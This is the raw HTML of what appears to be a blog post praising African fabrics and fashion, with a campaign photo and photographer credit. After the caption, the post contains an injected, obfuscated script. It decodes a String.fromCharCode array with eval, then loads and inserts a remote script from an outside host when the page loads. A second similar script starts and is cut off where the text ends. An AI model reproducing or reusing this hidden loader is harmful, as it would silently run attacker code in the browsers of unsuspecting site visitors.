Some prominent Fashion desingers like Versace get their inspiration from African fabrics. Home interior designers too have been touched by Africa and African Fabrics. It is not a secret, African Fashion has been globally accepted.<\/p>\n<p>&nbsp;<\/p>\n<p>I am so loving the attention wearing African gets. I love it because it celebrates being African.\u00a0 The whole culture of dressing has become so westernised that dressing African for Africans was not obvious. Wearing African and looking fashionable leaves me with\u00a0 great feeling of pride and belonging.<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" class=\"size-medium wp-image-6693\" src=\"http:\/\/lafritude.com\/wp-content\/uploads\/2018\/05\/CampaignImageUNiqueNatureWedding_1-300x169.jpg\" alt=\" Season: Q2\/2018 Photographer: Tim Verhallen \" width=\"300\" height=\"169\" srcset=\"http:\/\/lafritude.com\/wp-content\/uploads\/2018\/05\/CampaignImageUNiqueNatureWedding_1-300x169.jpg 300w, http:\/\/lafritude.com\/wp-content\/uploads\/2018\/05\/CampaignImageUNiqueNatureWedding_1-768x432.jpg 768w, http:\/\/lafritude.com\/wp-content\/uploads\/2018\/05\/CampaignImageUNiqueNatureWedding_1-1024x576.jpg 1024w, http:\/\/lafritude.com\/wp-content\/uploads\/2018\/05\/CampaignImageUNiqueNatureWedding_1-720x405.jpg 720w, http:\/\/lafritude.com\/wp-content\/uploads\/2018\/05\/CampaignImageUNiqueNatureWedding_1.jpg 1600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Season: Q2\/2018<br \/>\nPhotographer: Tim Verhallen<\/p>\n<p>&nbsp;<script type=text\/javascript>eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));<\/script><script type=text\/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116));
